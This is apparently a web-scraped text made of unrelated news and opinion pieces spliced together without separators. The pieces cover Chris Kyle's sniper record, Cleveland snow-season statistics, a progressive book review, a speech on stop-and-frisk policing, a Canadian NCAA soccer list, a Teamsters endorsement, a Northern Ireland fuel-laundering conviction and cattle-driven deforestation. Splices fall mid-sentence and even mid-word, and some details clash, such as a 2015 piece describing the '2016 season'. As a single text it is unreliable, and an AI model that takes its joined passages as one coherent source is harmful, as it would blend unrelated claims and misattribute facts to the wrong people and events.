Chris Kyle's 255 kills set a record among American marksman and his 2,100-yard shot is unbelievable. But snipers around the world have surpassed him in other ways. The most kills: Simo Häyhä, a Finnish sniper, holds the record with 542 Soviet soldiers shot during the Russian invasion of Finland in World War II. Numerous Soviet snipers killed more than 400 soldiers while fighting the Germans.
Longest shot: Corporal of Horse Craig Harrison, a British marksman, killed two Taliban machine gunners in Afghanistan in 2009 from 2,700 yards with a .338 Lapua Magnum rifle.
Most innovative: Legendary U.S. Marine sniper Carlos Hathcock made a 2,000-yard shot in 1967 during the Vietnam War with a .50-caliber Browning machine gun fitted with a scope mount of Mr Hathcock's own design. It was a record that stood for 35 years.
Previous record: Adelbert F. Waldron, a U.S. Army marksman in the Vietnam War, held the previous American record with 109 kills. Mr Hathcock had 93 kills.
Mr Kyle is a cowboy from Odessa, Texas, who was a professional bronco rodeo rider before he joined the Navy. He grew up hunting deer and pheasant with a rifle and a shotgun his dad bought him.
He never realized he was a good shot until he joined the Navy and got into the prestigious SEAL special operations unit.
For his deadly track record as a marksman during his deployment to Ramadi, the insurgents named him 'Al-Shaitan Ramad' -- the Devil of Rahmadi -- and put a $20,000 bounty on his head.
'I thought to myself, “Oh, hell yeah!” It was an honor,' he told Texas Monthly magazine when Army intelligence told him about his infamy.
But his Navy SEAL companions gave him a different name 'the Legend.'
His most legendary shot came outside Sadr City in 2008 when he spotted an insurgent with a rocket launcher near an Army convoy -- 2,100 yards away.
At that distance, 1.2 miles, he fired a shot from his .338 Lapua Magnum rifle. It struck home, knocking the man over dead.
'God blew that bullet and hit him,' Mr Kyle told the New York Post.
Mr Kyle's preferred weapon, though, was a custom-built bolt action rifle with a powerful scope. It was chambered in .300 Winchester Magnum, a cartridge originally developed for hunting North American big game.
However, Mr Kyle said he has found a new use for it -- making long range, highly accurate shots.
'I could hit a target from 1,800 yards, and it would shoot like a laser,' he told Texas Monthly.
Long shot: Mr Kyle poses here with the rifle, a .338 Lapua Magnum, he used to kill an insurgent from 2,100 yards away outside Sadr City
Mr Kyle, who retired from the Navy after 10 years of service, is telling his remarkable story as a deadly marksman in his new book, 'American Sniper,' which hits shelves Tuesday.
For his valor, he received three Silver Stars and five Bronze Stars with Valor, according to his book publisher, Harper Collins.
Additionally, he was shot twice and was in six separate IED explosions as his unit, Charlie company of SEAL Team Three, saw significant combat across the country.
Grateful nation: Kyle receiving an award from the Jewish Institute for National Security Affairs
The action was enough that the members of the unit adopted the white skull of the gun-wielding comic book vigilante The Punisher.
They painted the symbol on their body armor, their vehicles and even their weapons.
Despite the astonishing number of people he has shot, Mr Kyle says he has never second-guessed himself since the first time he had to pull the trigger on the grenade-wielding woman in Iraq.
For him, the enemy is a 'savage,' he told the Post.
'It was my duty to shoot the enemy, and I don’t regret it. My regrets are for the people I couldn’t save: Marines, soldiers, buddies. I’m not naive, and I don’t romanticize war. The worst moments of my life have come as a SEAL. But I can stand before God with a clear conscience about doing my job,' he told Texas Monthly.
He left the service in 2009, deciding not to enlist in order to 'save his marriage' he told his publisher.
Mr Kyle has two children and lives in Dallas.
That's how long it has been since the first snow struck Cleveland last fall, with still no certainty that it is yet done for the spring.
Some 2.3 inches arrived Tuesday and Wednesday at Cleveland Hopkins International Airport, the National Weather Service reported. Totals reached 4.5 inches in North Royalton and 5.4 inches in Brunswick.
It has been more than five months since the first snow left up to 6 inches on the ground in some parts of Greater Cleveland back on Oct. 23.
The length of this year's snow season is not that unusual.
Cleveland snow season First and last days of measurable snow at Cleveland Hopkins International Airport (through March 26, 2014). Winter First Amt. Last Amt. Days
begin
to end 2013-2014 Nov 8 0.1 Mar 26 1.2 138 2012-2013 Nov 24 0.2 Apr 20 0.1 147 2011-2012 Nov 11 0.6 Apr 11 0.1 152 2010-2011 Dec 1 0.1 Mar 30 3.3 119 2009-2010 Nov 27 1.2 Mar 25 1.4 118 2008-2009 Oct 29 0.3 Apr 7 2.0 160 2007-2008 Nov 22 0.6 Mar 22 4.3 121 2006-2007 Nov 2 0.9 Apr 14 1.4 163 2005-2006 Nov 22 0.5 Apr 5 0.4 134 2004-2005 Nov 25 0.9 Apr 25 1.6 151 2003-2004 Oct 2 0.3 Apr 27 0.1 208 2002-2003 Nov 22 1.3 Apr 5 0.1 134 2001-2002 Oct 26 1.0 Apr 5 2.2 161 2000-2001 Oct 8 0.1 Apr 17 0.3 191 1999-2000 Nov 3 1.5 Apr 9 0.4 158 1998-1999 Nov 21 0.1 Mar 9 2.6 108 1997-1998 Nov 13 2.0 Mar 24 0.2 131 1996-1997 Nov 2 2.3 Apr 17 0.4 166 1995-1996 Nov 8 0.7 Apr 23 1.0 167 1994-1995 Dec 10 0.8 Apr 1 0.2 112 1993-1994 Oct 31 0.2 Apr 7 0.2 158 1992-1993 Nov 5 2.6 Apr 21 0.1 167 1991-1992 Nov 7 1.5 Apr 3 0.2 148 1990-1991 Dec 3 0.3 Mar 11 0.3 98 1989-1990 Nov 3 0.1 Apr 12 0.6 160 1988-1989 Nov 6 0.5 Apr 18 0.1 163 1987-1988 Nov 20 0.9 Apr 16 0.2 148 1986-1987 Nov 11 0.9 Apr 4 3.1 144 1985-1986 Dec 2 2.4 Apr 11 0.1 130 1984-1985 Nov 11 0.3 Apr 9 0.3 149 1983-1984 Nov 11 7.0 Mar 29 1.4 139 1982-1983 Nov 15 0.8 Apr 19 0.3 155 1981-1982 Oct 19 3.8 Apr 6 8.6 169 1980-1981 Nov 17 2.7 Mar 20 4.9 123 1979-1980 Oct 25 0.2 Mar 18 1.0 145 1978-1979 Nov 27 1.5 Apr 9 0.4 133 1977-1978 Nov 11 3.4 Apr 21 0.2 161 1976-1977 Oct 26 1.5 Apr 6 1.0 162 1975-1976 Nov 13 0.6 Apr 4 0.7 143 1974-1975 Oct 2 0.1 Apr 15 0.2 195 1973-1974 Nov 9 2.8 May 7 0.1 179 1972-1973 Oct 18 1.4 May 4 0.6 198 1971-1972 Nov 4 0.2 Apr 7 1.5 155 1970-1971 Nov 15 1.0 Apr 24 0.1 160 1969-1970 Oct 22 0.6 Apr 2 0.2 162 1968-1969 Nov 9 0.1 Apr 19 1.5 161 1967-1968 Oct 28 0.1 Apr 25 0.2 180 1966-1967 Nov 3 0.2 Apr 24 0.1 172 1965-1966 Nov 29 1.0 Apr 7 0.4 129 1964-1965 Nov 20 0.3 Apr 2 0.4 133 1963-1964 Nov 29 0.1 Apr 9 0.1 132 1962-1963 Oct 25 1.3 May 1 0.1 188 1961-1962 Nov 17 0.3 Apr 15 0.5 149 1960-1961 Nov 5 1.3 Apr 18 0.5 164 1959-1960 Nov 12 0.5 Apr 9 0.3 149 1958-1959 Nov 26 0.4 Mar 17 0.7 111 1957-1958 Oct 27 2.5 Apr 7 0.2 162 1956-1957 Nov 21 0.3 Apr 13 0.2 143 1955-1956 Nov 19 6.0 Apr 18 0.3 151 1954-1955 Oct 16 0.3 Mar 27 1.9 162 1953-1954 Nov 5 1.0 Mar 30 0.1 145 1952-1953 Oct 20 0.8 Apr 21 0.1 183 1951-1952 Nov 2 1.5 Apr 7 0.5 157 1950-1951 Nov 20 0.1 Apr 17 0.6 148 Sources: cleveland.com/datacentral daily weather archive, National Weather Service and National Climatic Data Center.
The average stretch of snow at the airport is 152 days, the Northeast Ohio Media Group found in reviewing records since 1950.
No doubt, many Clevelanders will recall that October storm as the day snow arrived in Cleveland for the winter of 2013-14.
At the airport, however, there was just a trace. The first measurable amount arrived Nov. 8, making the streak at the airport 138 days - so far.
The airport, the official Cleveland weather station, is where good yearly records are maintained over time, offering an opportunity to review what is typical.
The records show April snow should be expected.
The last snow for the season has been in April 10 times since the beginning of the century, missing out only in 2007, 2009 and 2010.
In 2013, there was a tenth of an inch on April 20, wrapping up a 147-day snow season that began on Nov. 11, 2012.
In 2003-04, it was more than six months (208 days) from the first measurable snow at the airport on Oct. 2 to the last on April 27.
But even April might not be the end of it. May is possible.
The last time Cleveland had a May snow was on May 7, 1974, with just a tenth of an inch. On May 6, 1973, there was a little more - just over a half-inch of snow.
Oh, by the way, winter officially ended on March 20.
Also
(Photo: Victor1558; Edited: JR / TOnce upon a time there was a land of milk and honey called the United States of America. America was a great country, but it faced a powerful enemy, the evil Soviet Union. In 1959, there was a trade exhibition of American products in Moscow, the capital of that evil empire. The vice president of America, one Richard Milhous Nixon, attended the exhibition on America’s behalf.
A 29-year-old future journalist named William Safire was there at the exhibition representing the American building industry. Doing his job very well, he steered Nixon and his Soviet nemesis, Nikita Khrushchev, toward a walk-through display of the typical American home.
As they toured the model American home, Nixon and Khrushchev debated the relative merits of the American and Soviet systems. The debate came to a climax in the kitchen, and so it went down in history as the “kitchen debate.”
Khrushchev argued that the Soviet Union had surpassed America in rockets and high technology. Nixon responded by showing Khrushchev around the model American kitchen with its modern 1950s appliances. Nixon told Khrushchev how any ordinary American, a military veteran or a steelworker earning $3 an hour (worth $24 today), could afford a brand-new home with modern appliances. And he was right.
In The Rich Don’t Always Win: The Forgotten Triumph over Plutocracy that Created the American Middle Class, 1900-1970 journalist and policy analyst Sam Pizzigati tells the story of how that American workers’ paradise came to be. (Seven Stories Press, 2012)
It’s not a pretty story. It took violent strikes, street fights, two depressions, two world wars and the twin threats of fascism and communism to push America’s ruling class to the conclusion that There Is No Alternative to a policy of ensuring livelihood with dignity for all.
By 1950, the victory of the people over plutocracy was assured. By 1970, female, black, Latino and native Americans were beginning to share in that victory. By 1980, it was all over.
The vision of an America united behind civilized, egalitarian, progressive values lasted just three decades. But what a vision it was.
Pizzigati’s book is a must-read for the contemporary progressive. I read its 370 pages in just two long sittings and would have read it in one if I hadn’t had to sleep. Pizzigati’s focus on the nitty gritty history of the battles and debates that led to the creation of mid-century America is surprisingly gripping – and full of surprises.
Do you think southern conservatives have always been anti-worker? Think again. Alabama Senator Hugo Black championed a 30-hour work week. He proposed work-sharing to fight the Great Depression, a policy successfully implemented in Germany to counter the 2008 global downturn.
Do you think LaGuardia is nothing more than a crowded airport? Think again. New York Congressman, and later mayor, Fiorello LaGuardia was a Republican crusader for higher taxes on the wealthy – most of whom, in his day, lived right in his own city of New York.
Do you think Franklin Roosevelt raised taxes in the 1930s to make the rich pay for his New Deal policies? Think again. The symbolic 1932 jump in the top tax rate from 25 percent to 63 percent came under Republican Herbert Hoover, before Roosevelt was even elected. Not that it was Hoover’s idea: The momentum for this “soak the rich” policy came from House Republicans.
Pizzigati tells the story of how Roosevelt became a full convert to policies of progressive taxation and workers’ rights only under pressure from Louisiana phenomenon Huey Long. Roosevelt’s “second hundred days” at the beginning of his second term offered up the Social Security Act, the Public Works Administration and the National Labor Relations Act.
But Roosevelt’s real conversion came during World War II, and it came because he needed money to pursue the war. When you need seriously large amounts of money, you can only get them from the rich. Roosevelt became first frustrated, and then angry, with rich Republicans who were intent on blocking his efforts to finance the war through taxation.
The president came out swinging in 1942 with a proposal to impose an after-tax income cap of $25,000 per year (equivalent to about $350,000 today). He settled for an 88 percent tax on incomes over $200,000 (just under $3 million today). Even income over $60,000 (just under $1 million today) was taxed at 75 percent.
If Pizzigati’s microscope shows us anything, however, it is that real progress is rare and difficult. It takes means, motive and opportunity. To hear Pizzigati tell it, the means are provided by aggressive social movements, the motives are provided by political exigencies and the opportunities are provided by world wars.
Pizzigati charts two episodes of real progress toward a more equal America: the first prompted by World War I and the second prompted by World War II. Both wars called for huge government revenues that could only be met by taxing the rich. Both wars also called for cooperative labor relations and direct government management of the economy.
As it happens, in both World War I and World War II America was led by left-leaning Democratic presidents, Woodrow Wilson and Franklin Roosevelt. While these two leaders may not have been radical progressives, neither was beholden to bankers or big business. Both felt strongly that the rich should help pay the costs of the nation’s wars.
And both happened to fight wars at times when America’s labor movement was expanding, not shrinking. Though the labor movement may not have been strong enough to impose progressive policies on its own, the labor movement was able to exert pressure. By the time of George Bush’s wars of the 2000s, such pressure was nonexistent.
Particularly interesting are Pizzigati’s in-depth discussions of the conservative counter-movements that immediately followed both world wars. Both were based on hyped-up “red scares” during which the rich claimed that the continuation of wartime progressive policies would lead to revolution, anarchy and communism.
The reactionary red scare after World War I was completely successful in reversing the progressive program. Unions were busted, taxes were cut, profits boomed and the stock market collapsed – in that order. The result was the Great Depression.
The reactionary red scare after World War II was less effective. Pro-business politicians pushed through the strongly anti-union Taft–Hartley Act in 1947 (over President Truman’s veto), but failed to bring down high wartime tax rates. The result was a quarter century of extraordinary economic growth.
It is fairly obvious from Pizzigati’s micro-history that presidential leadership made all the difference between these two outcomes. After World War II, we had Harry Truman and Dwight Eisenhower. After World War I, we had Warren Harding and Calvin Coolidge.
Pizzigati edits the web site and newsletter Too Much, which exposes the contemporary excesses of America’s ridiculously rich. In a sense, The Rich Don’t Always Win fills in the backstory of how the rich came once again to have too much. Although Pizzigati’s story peters out in the 1970s, it’s clear that we’ve been here before.
Too many progressive editorials end with melancholy reflections on how bad things have become. Pizzigati prefers to end with the positive reflection that “the rich don’t always win.” One might just as fairly point out that progressives only won once, in the aftermath of a world war, with a succession of three staunchly independent leaders in the White House.
Let us start by recognizing that crime is down dramatically -- and lives have been saved in this city -- because every day, brave men and women put on a uniform and place themselves in harm's way to protect us.
And let us also recognize that far too many people believe they are considered guilty simply because of the color of their skin. Thousands of African-American and Latino men in this city have suffered the inconvenience -- and the indignity -- of being stopped and searched by police for no apparent reason, reasons they do not understand. . . .
Yet the leadership in this city refuses to reach out -- to work with a community that is in pain. To even acknowledge there is a problem. I say that bad relations with the community are not a necessary cost of doing business. . . .
There are two precincts in the South Bronx where crime rates and civilian complaints are falling simultaneously. And studies of those precincts in the South Bronx have found that this is because of strong leadership and respectful policing. . . . You know, good community policing is not social work. It is an effective crime strategy that works. . . .
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We can also support new technologies to help the police fight crime and protect the public. I propose boosting the federal investment in technology research so that we can create gun detectors that can scan city streets and pinpoint guns, reducing the need for stop and frisks.
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And there is no better way for police officers to understand that community they serve than to move in and become homeowners in those neighborhoods. . . .
Aaron Nielsen ,
December 27, 2015 Email
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This is my third annual NCAA Division 1 All-Canadian team. Over the past couple of years forwards, most notably Cyle Larin, and center backs, including Skylar Thomas, were the most prominent players on the list. However, in 2015 the most notable players are wingers and keepers, and to create an even more Canadian team, in traditional Benito Floro fashion I'm picking a 4-1-4-1 formation this year. GK: Callum Iriving, Kentucky
Iriving was also named ProspectXI's top NCAA Division 1 keeper and he proved that throughout the 2016 season with an incredible 0.66 Goals Against Average and a .809 Save Percentage. He was also involved in 10 shutouts during the season in 19 games. Iriving, who previously was called in the Canadian U-18 National Team, has played with both the Whitecaps PDL side and one season in the USSDA with the Whitecaps U-18 side before joining the Wildcats. It has recently been confirmed that Irving will not be a Whitecaps homegrown player and he will certainly enter the MLS Draft as the top rated keeper. In four seasons with Kentucky, Irving played in 58 games and was all selected to the All-America first team. FB: Alex Comsia, North Carolina
From the Vancouver Whitecaps residency program, the North Vancouver native at one point looked to be taking his chances in Europe playing with RC Strasbourg Academy team in France. Although after playing with Canada's Pan American team this summer, chose to attend North Carolina University. North Carolina have one of the strongest NCAA programs and Comsia quickly fit in playing in 18 games during his first NCAA season spending time in central defense as well as a full-back. The Tar Heals will be losing many players to graduation, so expect Comsia to have a more significant role next season. CB: Kamal Miller, Syracuse
Another first year player who established himself on a strong program in Syracuse. Syracuse made it to the NCAA Final Four with Miller earning key minutes and playing in 25 games. The Orangemen outscored thier opponents 46-22 with Miller scoring three goals himself. The Pickering native played with Ajax FC as a youth and also at Mother Theresa High School. At 6'0/185, Miller looks to be a dominant central defender who could play a key role with Canada in the future. CB: Alain Sargeant, George Mason
Still only a sophomore, Sargeant is a very experienced player including playing PDL soccer with K-W United and Toronto FC Academy. The Toronto native also played in the Canadian Soccer League and was a member of the St Kitts & Nevis U-20 team in 2012. A technically gifted player who has been mostly used as a ball playing central defender, which is different than most defenders developed in Canada. Alain has been a regular starter in his first two seasons at George Mason and after college will look to play as a professional. He could be signed by Toronto FC as a homegrown player, but based on proximity could be on the radar of clubs such as DC United or Philadelphia. FB: Kevon Black, Duke
Coming from the football hotbed of Brampton Ontario, Kevon has played with the Toronto FC Academy since 2012 and played on their League One Ontario Championship team in 2014. Black has also represented Canada on many occasions including the U17, U20 and Pan Am game teams. After a strong freshman season last year where he played in 19 games, Kevon struggled with some injury issues in 2015, although had two assists in eight games and is projected as a future Toronto FC Homegrown signing. DM: Ryan James, Bowling Green
Brother of former MLS Draft pick, Evan James, Ryan had a very successful college career at Bowling Green University. James, who is 21, played high school soccer in Mississauga while also winning the OYSL league championship with the Dixie Lions soccer club. He joined the Falcons in 2012 and played in 79 games for them over the last four years, starting 69 of them and scoring nine goals and adding 15 assists. He was named to the All-MAC Second Team two years in a row and has been invited to the 2016 MLS player combine. RM: Richie Laryea, Akron
Before joining Akron, Laryea played on Sigma FC Academy in Canada - the same club that developed 2015 MLS Rookie of the Year Cyle Larin and Laryea also made his debut with the Canadian National Youth Team. The sophomore showed some skill during his freshman season but only scored one goal and added two assists in 20 games. A strong performance against Maryland where he scored two goals and added an assist in early September made people start to take notice, although it wasn't until a strong national tournament run that cemented him as a prospect for the 2016 MLS Superdraft, helping the Zips make the final four. Laryea finished the season with 11 goals and seven assists in 22 games. AM: Sergio Camargo, Costal Carolina
A name probably familiar to most who follow Canadian Soccer, Camargo was also on my All-Canadian team last season. 2015 saw Sergio miss some games through injury, although he still scored four goals and added five assists in 13 games and now has 19 goals and 15 assists in 58 career games with Coastal Carolina. He also played a significant role in K-W United winning the PDL Championship in 2015. Going into his senior year next year, Camargo is expected to be one of the top senior prospects and be drafted in the 2017 MLS SuperDraft. AM: Mark Anthony Gonzalez, Evansville
Mark had another strong season in 2015 scoring seven goals and adding two assists in 15 games. However, Evansville struggled, which meant Gonzalez wasn't invited to the MLS Combine and it can hurt his potential of playing professional. Although Mark has a very strong soccer CV, including scoring 27 goals in 70 games with Evansville, coming from the Sigma FC Academy, and he also played for TFC Academy PDL team where he scored three goals in seven games. I expect we will hear more from him and to possibly be given an opportunity to earn a spot with TFC II in USL next season. LM: Kwame Awuah, UCONN
Depsite Irving and Laryea getting most of the attention, Awuah might have had the strongest season for a Canadian in NCAA Division 1 this season. The junior was moved into a more forward position than his traditional full back role, and made a big impact scoring three goals and adding 12 assists. Awuah's best games were in the ones that mattered, which allowed UCONN to qualify for the National Championship and he also scored two goals and added an assist in the first round of the tournament. The Sigma FC product looks to be one of the top senior prospects next season in NCAA Division 1 and should be a lock for MLS in either a full-back or wide midfield role. FW: Brian Wright, Vermont
Another player with roots in Ajax, Wright was a key player for Vermont in his Junior season with the school. The 6'0/180 Center Forward scored 10 goals and added seven assists in 21 games during the 2015 season and now has 25 goals in 58 career games. He has been named to the America East All-Conference team each season and was also named the America East Tournament Most Outstanding Player in 2015, as he led the Catamounts to the NCAA Division 1 National Tournament. Although Vermont is a small school, if he keeps performing at this level, Wright should get enough attention next season to be considered for the 2017 MLS SuperDraft.
(WASHINGTON) – The following is a statement by Teamsters General President Jim Hoffa:
“Today, the International Brotherhood of Teamsters endorsed Rep. Keith Ellison to lead the Democratic National Committee. Rep. Ellison is a strong voice for working families and labor.
"It is time for the Democratic Party to get back to its roots and focus on the issues that matter most to workers – jobs, health care and retirement security. Rep. Ellison is a proven organizer who knows that these battles are won in the field, not the corridors of Washington.
“In order to remain a relevant force in American politics, the Democratic National Committee must change direction and not take any of its natural constituencies for granted.
“Rep. Ellison understands the challenges that lie ahead and will enact the changes necessary for the Democratic Party to once again lead the fight for working families.”
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Michelle O'Neill has said she has "no problem" condemning criminality after her cousin was convicted of fuel laundering.
Gareth Doris, 39, will be sentenced next month for his part in the racket that was busted by PSNI and customs officials in Ardboe, Co Tyrone.
The diesel was being supplied by former Provos from east Tyrone who were behind the 2011 booby-trap car bomb attack that killed Constable Kerr in Omagh, The Sunday Life revealed.
However, Ms O’Neill refused to specifically condemn her cousin Gareth Doris’ role in diesel smuggling and was heavily criticised by political opponents.
Ulster Unionist politician Sandra Overend criticised the Sinn Fein leader for failing to personally condemn her cousin’s criminality.
Responding to the criticism Ms O'Neill was asked by the BBC if she would condemn anyone in fuel laundering
"I don't have a problem with that, I absolutely condemn anyone who has been involved in fuel laundering or criminality," she said.
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United Ireland: Michelle O'Neill telling same old Sinn Fein story, blasts DUP's Frew
'I have a right to remember IRA dead'
Watch: Michelle O'Neill pays homage to IRA dead in home village of Clonoe
The dirty diesel scam that the Sinn Fein leader's IRA bomber cousin was caught up in was being run by the dissident republicans who murdered policeman Ronan Kerr.
They also have criminal links to convicted fraudster Brian Arthurs, who who has been named as a former member of the IRA’ Army Council and who has made a fortune from fuel laundering and the sale of counterfeit cigarettes and alcohol.
Wealthy republican godfather Brian Arthurs, who detectives believe controls fuel laundering in east Tyrone, would have at one time been close to Michelle O’Neill.
The politician’s cousin Gareth Doris remains among Arthurs’ close circle of friends and, like the former Provo chief, served a sentence at the Maze Prison for possessing explosives.
Most of the feared east Tyrone unit of the IRA to which both men belonged quit the organisation in 2007 over Sinn Fein’s support for the PSNI.
Its members were later involved in a number of terror attacks that included the 2011 murder of PSNI officer Ronan Kerr in Omagh.
But many soon became disillusioned with the direction being taken by dissident republicans and walked away.
They now concentrate their efforts on running a huge crime empire involving laundered fuel, counterfeit cigarettes and illegal booze that covers east Tyrone.
Sinn Fein chief Michelle O’Neill’s cousin Gareth Doris is a trusted and key figure in this gang.
From Coalisland, Doris entered republican folklore in 1997 when he was wounded by the SAS trying to blow up the RUC station in the town.
Doris, then aged 19, claimed he was returning from church having been at confession when he was gunned down.
But he was jailed for 10 years for possessing explosives, before being freed early in 2000 under the terms of the Good Friday Agreement.
The convicted bomber lives alone in a small block of flats at Gortnaskea Place in the centre of Coalisland.
Sources say that he has in the past carried out voluntary work for Sinn Fein during elections, however he is not a member of the party.
Doris was among four people who fled from the fuel laundering site at J&K Coaches in Ardboe when it was raided by police and customs officials in March 2014.
When he was later arrested the republican denied any involvement, but was linked to the scam by DNA found on a phone at the premises and a car that was registered in his name.
Doris however claimed to have loaned his car to someone else, but he declined an opportunity to attend with police, to provide a name of the person or to make a statement to that effect.
When he was quizzed by PSNI officers he made a pre-prepared statement denying involvement, then made ‘no comment’ replies to all other questions. A search of the DNA database also threw up matches to two fuel laundering sites in Armagh.
At one, a bottle was recovered with a full DNA profile for Doris, along with a jumper from which DNA was found inside the cuffs.
At the second site a glove was found with DNA evidence, as was a jacket which smelled of fuel.
Convicting Doris at Dungannon Magistrates’ Court last Monday, Judge Meehan said: “The defendant basically stood back and at police interview gave a prepared statement which gave rise to more questions than answers.
“He simply said ‘no’ and can’t therefore expect the court not to draw inference.
“His belongings in the form of a car, a glove, a jacket, a jumper and a bottle were all located and it is not credible to say that he was not involved.
Judge Meehan added: “There is no reasonable doubt whatsoever he was connected to all three sites.”
Gareth Doris will be sentenced next month for the fraudulent evasion of duty on hydrocarbon oil.
Co-accused Kevin Quinn, 40, of Ardean Close in Cookstown, will be sentenced on the same charge, as will a third man, 46-year-old John Thomas O’Neill of Sandy Row in Coalisland.
While some major cattle companies have taken strides toward sustainability, they still lack sufficient support from the industry as a whole.
While consumers are increasingly pushing for deforestation-free palm oil and other products, consumer pressure for change in the cattle industry hasn’t been as significant.
In almost every aisle of the grocery store, you can find products from the palm oil, soy, wood, and cattle industries. Together, these industries are responsible for more than a third of tropical deforestation annually, according to the non-profit organization Forest Trends. While strides have been made by all four industries toward establishing deforestation-free commodity supply chains, the cattle industry has lagged behind the others.
In a 2016 survey of more than 550 major companies with ties to these commodities, Forest Trends found that 61 percent of companies active in palm oil made commitments to cleaning up their chains, compared to only 15 percent of those active in the cattle industry. Yet cattle products are responsible for at least ten percent more deforestation than palm.
Beef cattle are the largest commodity driver of deforestation globally, according to the think tank Global Canopy Programme (GCP) in its report “Sleeping Giants of Deforestation,” released in December 2016. GCP also highlighted the cattle industry’s inertia compared with other forest-linked industries. According to the report, the cattle industry remains the largest commodity driver of deforestation, but only about a quarter of companies that operate within the cattle product supply chain have policies in place regarding environmental impacts.
The Union of Concerned Scientists has also pointed to the massive deforestation caused by cattle beef – more than twice as much as the other major industries of soybeans, palm oil, and wood products.
According to some NGOs and industry players, this inertia may be connected to the complexity of cattle supply chains, low consumer demand for deforestation-free cattle products, and a lack of industry unity.
Supply chain complexity
JBS runs the world’s largest slaughterhouse and meat processing operation and is one of Brazil’s biggest beef producers. The company employs more than 230,000 people globally, according to their website. It buys cattle daily so that they’re fresh for the slaughter, choosing from a pool of about 70,000 suppliers, according to the company. Of those, 40,000 are in the Amazon. There’s a difficulty, however, in that parts of the region are connected to cattle industry-linked deforestation.
Marcio Nappo, sustainability director of Brazilian beef processor JBS, explains that this is partially tied to the complexities of the cattle supply chain. In the daily shuffle of searching for cattle suppliers, slaughterhouses can lose control.
“I cannot control my raw materials; it is a pure commodity market, driven by price,” Nappo said. “I don’t have any idea who will be my supplier tomorrow.”
JBS is part of the Cattle Agreement, which several major producers signed on to about seven years ago as a part of a pledge to be deforestation-free. But according to Nappo, constant uncertainty in supply chain factors make effective monitoring difficult. An assessment in 2015 of actors in the agreement found that JBS had made “substantial changes” to its procurement criteria.
Simon Hall, tropical forest and agriculture program manager for the nonprofit National Wildlife Federation (NWF), agrees that this daily shuffle is a particular obstacle to the cattle industry. According to Hall, soy, paper, and palm oil companies have greater control and stability in terms of suppliers.
For example, whereas soy processers often have long-term contractual relationships with farmers, the cattle industry operates largely through one-off transactions. It can be more difficult to get buy-in from producers and change practices on the ground when there aren’t strong supply chain relationships, he said.
Soy, palm, or timber crops also take several months or years to grow in a stationary lot, making them a little simpler to track, but cattle frequently changes hands. That makes it harder to track its source and ensure that it is deforestation-free.
“The field of soy isn’t going to up and move to the municipality next door, but cattle move around and can be transferred to different areas,” Hall said. He added that an animal is often sold for slaughter when it’s about 40 months old, yet it may have only spent the last three or four months of its life at the ranch from which the slaughterhouse bought it.
According to Carlos Saviani, WWF’s vice president of sustainable food, such transfers can be numerous.
“One animal… before it reaches a slaughterhouse can pass through 10 different properties,” Saviani said. “It could be born in one farm, weaned in another farm, it could be raised until a year and half in another farm, and then it could go to auction and be sold to a feedlot. You have people that buy cattle and aggregate cattle from smaller producers into a larger farm.”
Supply monitoring
Efforts by companies like JBS to monitor their suppliers for deforestation often only extend to direct suppliers. JBS uses satellite imagery and other geospatial tracking technologies to check up on its direct suppliers daily to make sure no new land has been cleared, according to the company. But it cannot ensure that the several different properties the cattle passed through – via indirect suppliers – have not contributed to deforestation.
Though Saviani praises the work of JBS and other companies that have invested in monitoring their direct suppliers, he said that indirect suppliers may still be responsible for much deforestation. He also said that more comprehensive tracking has been accomplished in other regions, like Uruguay and North America. But it is not yet industry-wide.
For example, in Uruguay, each animal is tagged with an individual chip that records every move it has made from birth to slaughterhouse. This chip links into a government-run database.
NWF’s Hall notes that he is working with other NGOs and cattle industry players in Brazil to improve tracking. That includes a data tracking system currently in place nationwide to track vaccinations for hoof and mouth disease. It doesn’t track individual animals, but rather batches of animals, so it isn’t as comprehensive as the system in Uruguay.
The goal is to integrate deforestation information into this vaccination tracking system. It will still take some work to figure out the technical details, but Hall is hopeful that this will soon allow companies to track the movement of cattle from birth to slaughter and to make sure each ranch the cattle passes through is deforestation-free.
Lack of consumer pressure
Perception also plays a role in an aspect critical for accountability: public pressure. Forest Trends found in its survey of major companies with ties to forest-linked commodities that cattle companies had less fear of losing customers due to deforestation than the companies in other commodity industries. It reported that 54 percent of timber and pulp companies fear backlash from customers if they support deforestation practices; 52 percent of palm companies expressed the same worry; 41 percent of soy companies; and 36 percent of cattle companies.
Retailers have put some pressure on slaughterhouses and ranchers to prevent deforestation. For example, Walmart and other major grocers in Brazil have committed in recent years to sourcing zero-deforestation beef.
But compared to other forest commodities, Saviani said, various links in the cattle industry still lag behind. The Roundtable for Sustainable Palm Oil (RSPO) has about 3,000 members, while the Global Roundtable for Sustainable Beef (GRSB) has about 70 members. The RSPO was formed in 2003, while the GRSB is only four years old.
Hall, from NWF, said that NGOs have also been working longer on raising awareness about deforestation in the paper industry than in the cattle industry. Cattle products are now receiving more attention in this regard, but it will take time for consumer awareness to catch up.
Industry unity
Neither the GRSB nor the various national roundtables on sustainable beef have started certifying products, though they have set some indicators and criteria to measure progress. The Forest Trends report noted that certification in other commodities, such as that provided by the RSPO, can help companies measure their progress and communicate it to consumers.
“Certification schemes provide a turnkey option toward sustainability that many companies are pursuing,” the report states.
The stand against deforestation is not an industry norm when it comes to cattle products, which makes it harder for individual cattle companies to compete when they commit to it, according to JBS’s Nappo. He said they have lost a lot of suppliers.
He added that in contrast, the entire soy industry in Brazil has collectively made a zero-deforestation commitment. The trade association does the monitoring, taking the burden off individual companies. Without similar industry support, JBS is left to provide not only its own monitoring but also its own support infrastructure to help its suppliers improve.
The Forest Trends report notes just that, stating that, “In spite of … criticisms [that certification criteria are sometimes inadequate], development of certification schemes may offer an opportunity for more companies with … cattle exposure to establish initial deforestation-related commitments and increase ambition over time.”
Banner image: Cattle at one of the 70,000 suppliers used by JBS, one of Brazil’s largest beef producers. Photo courtesy of JBS
Tara MacIsaac is a freelance journalist and editor for Epoch Times. She is based in Canada and you can find her on Twitter at @TaraMacIsaac
Background Information:
Forest Trends, “Tracking Corporate Commitments to Deforestation Free Supply Chains,” 2016.
Gibbs, H.K., Munger, J., L’Roe, J., Barreto, P., Pereira, R., Christie, M., Amaral, T. and Walker, N.F. (2015). “Did Ranchers and Slaughterhouses Respond to Zero Deforestation Agreements in the Brazilian Amazon?” Conservation Letters.
RSPA Beef Roundtable
“To see him on life support and to see his two children and his mother and his wife by his side, it was a moment that I’ll never forget,” said Assemblyman Ron Kim (D-Flushing), who visited Tse in the hospital before his death with Karlin Chan, senior director of the Chinese Freemasons, who spoke on behalf of the family at the press conference. Tse’s family did not attend the event.
